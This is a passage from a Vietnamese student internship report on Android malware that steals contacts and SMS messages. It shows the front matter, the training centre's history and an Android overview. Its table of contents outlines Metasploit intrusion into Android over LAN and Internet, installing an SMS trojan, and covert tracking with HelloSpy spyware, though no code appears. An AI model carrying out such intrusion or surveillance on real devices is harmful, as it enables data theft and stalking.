SlideShare a Scribd company logo
1 of 88
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
BỘ GIÁO DỤC VÀ ĐÀO TẠO 
TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN 
KHOA ĐIỆN TỬ - VIỄN THÔNG 
BÁO CÁO ĐỀ TÀI THỰC TẬP 
ĐỀ TÀI: 
NGHIÊN CỨU CÁC TROJAN, MALWARE CHO 
PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH 
CONTACT, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ 
DỤNG ANDROID VÀ GỬI RA NGOÀI 
 Nơi thực tập : 
TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG 
QUỐC TẾ ATHENA 
 Thời gian : 
7/7/2014 – 7/9/2014 
GVHD : VÕ ĐỖ THẮNG 
SVTT : NGUYỄ N TUẤN KIỆT 
MSSV : 1120084 
TP.HCM, THÁNG 8 NĂM 2014 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 1
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
LỜI CAM ĐOAN 
Em xin cam đoan: 
 Những nội dung trong báo cáo này là do em thực hiện dưới sự hướng dẫn trực tiếp của thầy 
Võ Đỗ Thắng. 
 Mọi tham khảo dùng trong báo cáo này đều được trích dẫn rõ ràng tên tác giả, tên công 
trình, thời gian, địa điểm công bố. 
 Mọi sao chép không hợp lệ, vi phạm quy chế đào tạo, hay gian lận, em xin chịu hoàn toàn 
trách nhiệm. 
TPHCM, ngày 16 tháng 08 năm 2014 
Sinh viên thực tập 
Nguyễn Tuấn Kiệt 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 2
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
LỜI CẢM ƠN 
KHOA ĐIỆN TỬ VIỄN THÔNG 
Em xin chân thành cảm ơn trường đại học Khoa học tự nhiên và khoa Điện tử viễn 
thông đã chỉ dạy những kiến thức nền quý báu, tạo điều kiện cho em hoàn thành tốt đợt thực 
tập này. Đợt thực tập này đã giúp cho em đúc kết được rất nhiều kinh nghiệm cho bản thân. 
Những kinh nghiệm này sẽ giúp em hoàn thiện hơn trong công việc và môi trường làm việc 
sau này. 
Trong đợt thực tập này, em đã nỗ lực hết mình để có thể đạt được kết quả tốt nhất. 
Nhưng, bên cạnh đó chắc chắn em không thể tránh khỏi những thiếu sót nhất định. Em rất 
mong nhận được sự đóng góp, chia sẻ để em có thể làm tốt hơn nữa trong tương lai. 
Một lần nữa em xin chân thành cảm ơn. 
TPHCM, ngày 16 tháng 08 năm 2014 
Sinh viên thực tập 
Nguyễn Tuấn Kiệt 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 3
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
LỜI CẢM ƠN 
TRUNG TÂM ATHENA 
Em xin cảm ơn Trung tâm đào tạo Quản trị mạng và An ninh mạng quốc tế Athena, 
cùng các anh chị trong công ty. Đặc biệt, em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã 
nhiệt tình giúp đỡ và hướng dẫn em trong suốt thời gian thực tập tại trung tâm. Thầy đã tạo 
mọi điều kiện thuận lợi, cung cấp những kiến thức cần thiết cũng như đóng góp những ý 
kiến quý báu để em hoàn thành tốt bài báo cáo này. 
Một lần nữa em xin chân thành cảm ơn. 
TPHCM, ngày 16 tháng 08 năm 2014 
Sinh viên thực tập 
Nguyễn Tuấn Kiệt 
Thầy Võ Đỗ Thắng (bên trái) cùng SVTT Nguyễn Tuấn Kiệt (bên phải) 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 4
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
NHẬN XÉT CỦA KHOA 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
TPHCM, ngày ... tháng ... năm 2014 
Chủ nhiệm khoa 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 5
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
.......................................................................................................................................................... 
TPHCM, ngày ... tháng ... năm 2014 
Giáo viên hướng dẫn 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 6
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
LỜI GIỚI THIỆU 
Số lượng các báo cáo về nguy cơ an ninh trên các thiết bị di động Android từ các công ty 
nghiên cứu bảo mật gia tăng cho thấy hệ điều hành này đang là đích nhắm cho tin tặc cùng 
các phần mềm độc hại. 
Không quá khó khăn và cũng không cần thiết phải có những nghiên cứu chi tiết để nhận ra 
rằng hệ điều hành Android đang bị tấn công nhiều hơn. Chỉ cần nhìn vào trường hợp 
facebook, khi mạng xã hội này trở nên nổi tiếng và có số lượng người dùng đông đảo, lập 
tức nó trở thành đích ngắm của các tin tặc. Giới tội phạm mạng luôn tìm mọi cách để lợi 
dụng các lỗ hổng bảo mật của những hệ điều hành được cài đặt trên số đông thiết bị. Và 
điểm yếu cố hữu trong an ninh bảo mật vẫn nằm ở người dùng rồi mới đến thiết bị. Các nhà 
nghiên cứu bảo mật cho biết hiện có quá nhiều người dùng Android bất cẩn luôn tải về ứng 
dụng mà không thèm kiểm tra tìm hiểu trước xem chúng có an toàn hay không. 
Vậy để biết thêm phần nào về cách thức mà các tin tặc tấn công các thiết bị Android đồng 
thời để hạn chế được điều này, em xin mời thầy và các bạn cùng đi đến bài báo cáo của em. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 7
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Mục lục 
PHẦN 1: GIỚI THIỆU VỀ NƠI THỰC TẬP................................................................................ 11 
1. Giới thiệu về Trung tâm Athena ............................................................................................. 11 
2. Trụ sở và các chi nhánh........................................................................................................... 11 
3. Quá trình hình thành và phát triển........................................................................................... 12 
3.1. Quá trình hình thành ........................................................................................................ 12 
3.2. Quá trình phát triển .......................................................................................................... 13 
3.3. Cơ cấu tổ chức ................................................................................................................. 14 
4. Tình hình hoạt động trong năm 2011 ...................................................................................... 15 
4.1. Cơ cấu sản phẩm .............................................................................................................. 15 
4.1.1. Các khóa học dài hạn................................................................................................ 15 
4.1.2. Các khóa học ngắn hạn ............................................................................................. 15 
4.1.2.1. Khóa Quản trị mạng.............................................................................................. 15 
4.1.2.2. Khóa thiết kế web và bảo mật mạng..................................................................... 15 
4.1.2.3. Các sản phẩm khác. ................................................................................................ 15 
5. Chiến lư ợc Marketing của Trung tâm Athena......................................................................... 16 
5.1. Chiến lư ợc sản phẩm ....................................................................................................... 16 
5.2. Chiến lư ợc tập hợp sản phẩm: ......................................................................................... 16 
5.3. Chiến lư ợc dòng sản phẩm: ............................................................................................. 17 
PHẦN 2: BÁO CÁO ĐỀ TÀI ........................................................................................................ 18 
1. Giới thiệu về Android.............................................................................................................. 18 
1.1. Android là gì? .................................................................................................................. 18 
1.2. Lịch sử phát triển Anroid ................................................................................................. 18 
1.3. Đặt điểm của Android...................................................................................................... 19 
1.3.1. Tính mở .................................................................................................................... 19 
1.3.2. Tính ngang bằng của các ứng dụng. ......................................................................... 19 
1.3.3. Phá vỡ rào cản phát triển ứng dụng. ......................................................................... 19 
1.3.4. Xây dựng ứng dụng dễ dàng và nhanh chóng .......................................................... 19 
1.4. Các phiên bản của android............................................................................................... 20 
1.5. Tỷ lệ sử dụng các phiên bản android ............................................................................... 22 
1.6. So sánh android 2.3 (Gingerbread) và android 4.x (4.0 – Ice Cream Sandwich): ........... 22 
1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt ............................................. 23 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 8
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
1.6.2. Sự khác nhau về giao diện ......................................................................................... 23 
1.6.3. Sự khác nhau về tính năng ......................................................................................... 25 
1.6.4. Sự khác nhau về giao thức mạng ................................................................................ 25 
2. Nghiên cứu về mã độc trong mỗi trường android ................................................................... 26 
2.1. Malware là gì? ................................................................................................................. 26 
2.2. Phân loại .......................................................................................................................... 27 
2.3. Cơ chế hoạt động của Malware ....................................................................................... 27 
2.4. Mục đích của Malware DroidDream ............................................................................... 28 
2.5. Dấu hiệu bị nhiễm các phần mềm độc hại ....................................................................... 28 
3. Xâm nhập android qua mạng local.......................................................................................... 29 
3.1. Giới thiệu về Kali Linux .................................................................................................. 29 
3.1.1. Kali phát triển trên nền tảng hệ điều hành Debian ................................................... 29 
3.1.2. Hỗ trợ mạng không dây tốt hơn................................................................................ 29 
3.1.3. Khả năng tùy biến cao .............................................................................................. 29 
3.1.4. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai...................................... 30 
3.2. Cài đặt Kali Linux ........................................................................................................ 30 
3.3. Metasploit framework trong Kali linux ........................................................................... 40 
3.3.1. Giới thiệu .................................................................................................................. 40 
3.3.2. Sử dụng metasploit framework ................................................................................ 40 
3.4. Tấn công android dùng Metasploit Framework trong Kali Linux................................... 42 
4. Thực hiện xâm nhập android thông qua mạng Internet .......................................................... 49 
4.1. Giới thiệu về VPS ............................................................................................................ 49 
4.1.1. VPS là gì? ................................................................................................................. 49 
4.1.2. Đặc điểm về thông số VPS ....................................................................................... 50 
4.1.3. Giá trị khi sử dụng VPS............................................................................................ 50 
4.2. Cài đặt metasploit ............................................................................................................ 51 
4.3. Xâm nhập vào thiết bị android......................................................................................... 57 
5. Cài đặt SMS Trojan dùng iCalender ....................................................................................... 67 
5.1. Cài đặt máy ảo android AVD Manager .............................................................................. 67 
5.1.1. Cài đặt JDK: ............................................................................................................. 67 
5.1.2. Cài đặt android SDK ................................................................................................ 68 
5.1.3. Cài đặt máy ảo android................................................................................................. 69 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 9
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
5.2. Cài SMS Trojan vào máy android ảo ................................................................................. 71 
5.2.1. Các công cụ cần thiết ................................................................................................. 71 
5.2.2. Các bước thực hiện ................................................................................................... 72 
6. Tìm hiểu về HelloSpy để theo dõi thiết bị android ................................................................. 79 
6.1. HelloSpy là gì? ................................................................................................................ 79 
6.2. Tính năng của HelloSpy .................................................................................................. 79 
6.2.1. Truy cập từ xa:.......................................................................................................... 79 
6.2.2. Theo dõi các tin nhắn WhatsApp (không có rễ):...................................................... 79 
6.2.3. Theo dõi lịch sử Internet:.......................................................................................... 79 
6.2.4. Spy cuộc gọi ghi âm: ................................................................................................ 79 
6.2.5. Theo dõi tất cả bắt hình ảnh: .................................................................................... 79 
6.2.6. Kiểm soát các ứng dụng và chương trình: ................................................................ 79 
6.2.7. Theo dõi tin nhắn SMS:............................................................................................ 80 
6.2.8. Theo dõi Viber, facebook và yahoo thông điệp: ...................................................... 80 
6.2.9. GPS Tracking: .......................................................................................................... 80 
6.2.10. Lịch sử màn hình cuộc gọi: ...................................................................................... 80 
6.3. Cài đặt HelloSpy .............................................................................................................. 80 
7. Tổng kết................................................................................................................................... 85 
8. Kinh nghiệm đạt được sau đợt thực tập .................................................................................. 86 
9. Các link báo báo ...................................................................................................................... 87 
10. Các link tham khảo .................................................................................................................. 88 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 10
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
PHẦN 1: GIỚI THIỆU VỀ NƠI THỰC TẬP 
1. Giới thiệu về Trung tâm Athena 
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công 
ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG TÂM 
ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của 
Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. 
Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING NETWORK 
SECURITY COMPANY LIMITED 
ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh 
nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến 
trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau: 
- Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh vực mạng máy tính, 
internet, bảo mật và thương mại điện tử…. 
- Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất kinh 
doanh. 
- Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về 
mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu 
cầu. 
- Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ liệu 
thông tin về các ứng dụng và sự cố mạng. 
- Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự cố 
máy tính. 
2. Trụ sở và các chi nhánh 
- Trụ sở chính: 
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. 
92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam. 
Website: www.athena.com.vn 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 11
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Điện thoại: ( 84-8 ) 3824 4041 
Hotline: 0943 23 00 99 
- Cơ sở 2_Tại TP Hồ Chí Minh: 
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 
Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam. 
Website: www.Athena.Edu.Vn 
Điện thoại: ( 84-8 ) 2210 3801 
Hotline: 0943 20 00 88 
- Chi nhánh Nha Trang 
+ Điện thoại : 08. 3824 4041 - Fax: 08. 39 111 692 
+ Website: www.athena.edu.vn 
+ Email : training@athenavn.com 
3. Quá trình hình thành và phát triển 
3.1.Quá trình hình thành 
Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh 
vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin 
nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm 
nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ được một lực 
lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh 
nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công 
nghệ thông tin cho đất nước và xã hội. 
Các thành viên sáng lập trung tâm gồm: 
Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám 
đốc dự án của công ty Siemen Telecom. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 12
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công 
ty FPT. 
Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ 
thông tin của Ngân hàng. 
Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh mạng Athena. 
Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành 
viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam. 
3.2.Quá trình phát triển 
Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành 
một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và 
đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương trình quản lý dự án MS Project 
2003, kỹ năng thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh 
viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội 
ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ thông tin của đất 
nước nói chung, các doanh nghiệp, cá nhân nói riêng. 
Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh 
tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên gia 
an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn quốc, 
đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực 
công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của 
trung tâm. 
Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với 
khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn 
Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man cho toàn bộ 
hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu 
quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. 
Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến 
trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 13
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. 
Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép 
đã giúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng 
hoảng. 
Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo 
quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung 
tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với 
sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp 
nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến 
trình tin học hóa nước nhà. 
3.3.Cơ cấu tổ chức 
Sơ đồ tổ chức công ty 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 14
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
4. Tình hình hoạt động trong năm 2011 
4.1.Cơ cấu sản phẩm 
4.1.1. Các khóa học dài hạn 
- Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network security specialist. 
- Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician. 
- Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator. 
4.1.2. Các khóa học ngắn hạn 
4.1.2.1.Khóa Quản trị mạng 
- Quản trị mạng Microsoft căn bản ACBN 
- Phần cứng máy tính, laptop, server 
- Quản trị hệ thống mạng Microsoft MCSA Security. 
- Quản trị mạng Microsoft nâng cao MCSE 
- Quản trị window Vista 
- Quản trị hệ thống Window Server 2003:2008 
- Lớp Master Exchange Mail Server 
- Quản trị mạng quốc tế Cissco CCNA 
- Quản trị hệ thống mạng Linux 1 và Linux 2. 
4.1.2.2.Khóa thiết kế web và bảo mật mạng 
- Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart 
- Lập trình web với Php và MySQL 
- Bảo mật mạng quốc tế ACNS 
- Hacker mũ trắng 
- Athena Mastering Firewall Security 
- Bảo mật website. 
4.1.2.3. Các sản phẩm khác. 
- Chuyên đề thực hành sao lưu và phục hồi dữ liệu 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 15
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Chuyên đề thực hành bảo mật mạng Wi_Fi 
- Chuyên đề Ghost qua mạng 
- Chuyên đề xây dựng và quản trị diễn đàn 
- Chuyên đề bảo mật dữ liệu phòng chống nội gián 
- Chuyên đề quản lý tài sản công nghệ thông tin 
- Chuyên đề kỹ năng thương mại điện tử. 
5. Chiến lược Marketing của Trung tâm Athena 
5.1. Chiến lược sản phẩm 
Chiến lược sản phẩm là sự cố kết gắn bó của sự lựa chọn và của những biện pháp phải sử dụng 
để xác định một tập hợp sản phẩm bao gồm các dòng sản phẩm và các món hàng sao cho phù hợp 
nhất với thị trường mục tiêu và từng giai đoạn khác nhau trong chu kì sản phẩm. 
Chiến lược sản phẩm đóng vai trò cực kì quan trọng trong hoạt động Marketing, nó là công cụ 
cạnh tranh bền vững của doanh nghiệp. Thực hiện tốt chiến lược về sản phẩm thì các chiến lược 
giá, phân phối, xúc tiến mới được triển khai và phối hợp một cách hiệu quả nhất. Không chỉ thế, 
chiến lược sản phẩm còn là một trong những yếu tố giúp doanh nghiệp thực hiện tốt mục tiêu 
marketing trong từng thời kì. 
Với phương châm “ Uy tín, chất lượng đào tạo và sự hài lòng của khách hàng” lên hàng đầu. 
Trung tâm Đào tạo Quản trị và An ninh mạng Athena luôn nổ lực tập trung vào nâng cao chất lượng 
giáo dục, tuyển dụng đội ngũ giảng viên có trình độ chuyên môn và kinh nghiệm cao, đội ngũ tư 
vấn viên giúp học viên có thể lựa chọn những chương trình phù hợp và Bộ phận chuyên trách về 
cập nhật thông tin cũng như làm mới giáo án nhằm đảm bảo chất lượng đào tạo tốt nhất cho từng 
học viên khi đến với trung tâm. 
Chính vì xác định được tầm quan trọng của chiến lược sản phẩm, Trung tâm Đào tạo Quản trị 
và An ninh mạng Athena đã đưa ra các chiến lược sản phẩm như sau: 
5.2. Chiến lược tập hợp sản phẩm: 
Athena tập trung vào chiến lược mở rộng tập hợp sản phẩm. Có nghĩa là Athena tăng thêm các 
dòng sản phẩm mới thích hợp với từng thời kì cụ thể theo yêu cầu của khách hàng, cụ thể theo từng 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 16
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
giai đoạn phát triển của doanh nghiệp cũng như yêu cầu của xã hội về lĩnh vực công nghệ thông 
tin. 
Vào những ngày đầu thành lập với tư cách là một nhóm nhỏ bao gồm các thành viên yêu thích 
lĩnh vực công nghệ thông tin và hổ trợ các doanh nghiệp với chương trình “ ứng cứu máy tinh”. 
Athena tập trung vào lĩnh vực đào tạo chuyên gia an ninh mạng AN2S và chương trình cảnh sát 
máy tính nhằm giúp các doanh nghiệp xử lý các vấn đề về máy tính và mạng máy tính. Đào tạo và 
cung cấp cho xã hội lực lượng nguồn lao động trong lĩnh vực bảo vệ máy tính và mạng máy tính. 
Trong quá trình phát triển, internet trở thành một công cụ hữu hiệu và là phương tiện kinh 
doanh của hầu hết các tổ chức, doanh nghiệp, cá nhân. Để đáp ứng được nhu cầu ngày càng tăng 
cao về nguồn nhân lực trong lĩnh vực mạng internet, Athena tăng thêm các khóa học về mạng máy 
tính, chuyên gia online marketing hay các khóa học về E_marketing. 
Ngày nay, với sự phát triển mạnh mẽ của ngành công nghệ thông tin, ngày càng nhiều doanh 
nghiệp đòi hỏi các chứng chỉ quốc tế trong lĩnh vực này. Nắm bắt được xu thế mới của thời đại, 
Trung tâm Đào tạo Quản trị và An ninh mạng Athena đã mở rộng chương trình đào tạo, tổ chức 
thêm các khóa học đạt chứng chỉ quốc tế như MCSA, Quản trị mạng Cissco…. 
5.3. Chiến lược dòng sản phẩm: 
Để có thể phân bổ rủi ro cũng như nâng cao được mức lợi nhuận cho doanh nghiệp. Trung tâm 
Đào tạo Quản trị và An ninh mạng Athena tập trung vào chiến lược phát triển dòng sản phẩm bằng 
cách tập trung đầu tư vào những dòng sản phẩm chủ lực của doanh nghiệp để tối đa hóa lợi nhuận, 
đồng thời phát triển thêm các dòng sản phẩm mới như các khóa chuyên đề nhằm hổ trợ tạo sự đa 
dạng của các dòng sản phẩm, đáp ứng được nhu cầu của xã hội, cố gắng dẫn đầu thị trường và lắp 
kín các lỗ hổng để ngăn ngừa đối thủ cạnh tranh. Trong đó khóa học chủ lực của doanh nghiệp là 
các khóa học lấy các chứng chỉ quốc tế như: MCSE, Quản trị mạng Cissco, Bảo mật web 
Security+… 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 17
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
PHẦN 2: BÁO CÁO ĐỀ TÀI 
1. Giới thiệu về Android 
1.1.Android là gì? 
Android là một hệ điều hành dựa trên nền tảng Linux được thiết kế dành cho các thiết bị di động 
có màn hình cảm ứng như điện thoại thông minh và máy tính bảng. Android ra mắt vào năm 2007 
cùng với tuyên bố thành lập Liên minh thiết bị cầm tay mở: một hiệp hội gồm các công ty phần 
cứng, phần mềm, và viễn thông với mục tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. 
Chiếc điện thoại đầu tiên chạy Android được bán vào tháng 10 năm 2008. 
Android có mã nguồn mở và Google phát hành mã nguồn theo Giấy phép Apache. Chính mã nguồn 
mở cùng với một giấy phép không có nhiều ràng buộc đã cho phép các nhà phát triển thiết bị, mạng 
di động và các lập trình viên nhiệt huyết được điều chỉnh và phân phối Android một cách tự do. 
Ngoài ra, Android còn có một cộng đồng lập trình viên đông đảo chuyên viết các ứng dụng để mở 
rộng chức năng của thiết bị, bằng một loại ngôn ngữ lập trình Java có sửa đổi. Vào tháng 10 năm 
2012, có khoảng 700.000 ứng dụng trên Android, và số lượt tải ứng dụng từ Google Play, cửa hàng 
ứng dụng chính của Android, ước tính khoảng 25 tỷ lượt. 
Những yếu tố này đã giúp Android trở thành nền tảng điện thoại thông minh phổ biến nhất thế giới, 
vượt qua Symbian vào quý 4 năm 2010, và được các công ty công nghệ lựa chọn khi họ cần một hệ 
điều hành không nặng nề, có khả năng tinh chỉnh, và giá rẻ chạy trên các thiết bị công nghệ cao 
thay vì tạo dựng từ đầu. Kết quả là mặc dù được thiết kế để chạy trên điện thoại và máy tính bảng, 
Android đã xuất hiện trên TV, máy chơi game và các thiết bị điện tử khác. Bản chất mở của Android 
cũng khích lệ một đội ngũ đông đảo lập trình viên và những người đam mê sử dụng mã nguồn mở 
để tạo ra những dự án do cộng đồng quản lý. Những dự án này bổ sung các tính năng cao cấp cho 
những người dùng thích tìm tòi hoặc đưa Android vào các thiết bị ban đầu chạy hệ điều hành khác. 
Android chiếm 75% thị phần điện thoại thông minh trên toàn thế giới vào thời điểm quý 3 năm 
2012, với tổng cộng 500 triệu thiết bị đã được kích hoạt và 1,3 triệu lượt kích hoạt mỗi ngày. Sự 
thành công của hệ điều hành cũng khiến nó trở thành mục tiêu trong các vụ kiện liên quan đến bằng 
phát minh, góp mặt trong cái gọi là "cuộc chiến điện thoại thông minh" giữa các công ty công nghệ. 
1.2.Lịch sử phát triển Anroid 
Tháng 7 năm 2005, Google mua lại Android, Inc., một công ty nhỏ mới thành lập có trụ sở ở Palo 
Alto, California, Mỹ. Những nhà đồng sáng lập của Android chuyển sang làm việc tại Google gồm 
có Andy Rubin (đồng sáng lập công ty Danger), Rich Miner (đồng sáng lập công ty Wildfire 
Communications), Nick Sears (từng là phó chủ tịch của T-Mobile), và Chris White (trưởng nhóm 
thiết kế và phát triển giao diện tại WebTV). Khi đó, có rất ít thông tin về các công việc của Android, 
ngoại trừ việc họ đang phát triển phần mềm cho điện thoại di động. Điều này tạo những tin đồn về 
việc Google có ý định bước vào thị trường điện thoại di động. 
Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động dựa trên hạt nhân 
Linux, được họ tiếp thị đến các nhà sản xuất thiết bị cầm tay và các nhà mạng trên những tiền đề 
về việc cung cấp một hệ thống mềm dẻo, có khả năng nâng cấp mở rộng cao.[cần dẫn nguồn] Một 
số nguồn tin cho biết trước đó Google đã lên danh sách các thành phần phần cứng và các đối tác 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 18
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
phần mềm, đồng thời ra hiệu với các nhà mạng rằng họ sẵn sàng hợp tác ở nhiều cấp độ khác nhau. 
Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất hiện trong 
tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng Google muốn đưa công 
